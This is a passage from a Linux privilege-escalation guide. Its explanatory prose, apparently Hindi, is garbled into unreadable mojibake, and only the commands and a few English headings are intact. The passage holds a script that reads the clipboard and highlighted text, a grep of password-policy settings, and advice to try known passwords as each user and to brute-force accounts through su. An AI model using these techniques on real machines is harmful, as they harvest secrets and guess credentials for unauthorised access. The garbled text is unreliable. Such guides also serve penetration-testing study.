Interesting Groups - Linux Privesc

рдХреНрд▓рд┐рдкрдмреЛрд░реНрдб

рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ рднреА рджрд┐рд▓рдЪрд╕реНрдк рд╡рд╕реНрддреБ рдХреНрд▓рд┐рдкрдмреЛрд░реНрдб рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИ (рдпрджрд┐ рд╕рдВрднрд╡ рд╣реЛ)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

рдкрд╛рд╕рд╡рд░реНрдб рдиреАрддрд┐

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

рдЬреНрдЮрд╛рдд рдкрд╛рд╕рд╡рд░реНрдб

рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдкрд░реНрдпрд╛рд╡рд░рдг рдХрд╛ рдХреЛрдИ рдкрд╛рд╕рд╡рд░реНрдб рд╣реИ рддреЛ рдкреНрд░рддреНрдпреЗрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ рдЙрд╕ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред

Su Brute

рдпрджрд┐ рдЖрдкрдХреЛ рдЬреНрдпрд╛рджрд╛ рд╢реЛрд░ рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреЛрдИ рдЪрд┐рдВрддрд╛ рдирд╣реАрдВ рд╣реИ рдФрд░ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ su рдФрд░ timeout рдмрд╛рдЗрдирд░реА рдореМрдЬреВрдж рд╣реИрдВ, рддреЛ рдЖрдк su-bruteforce рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред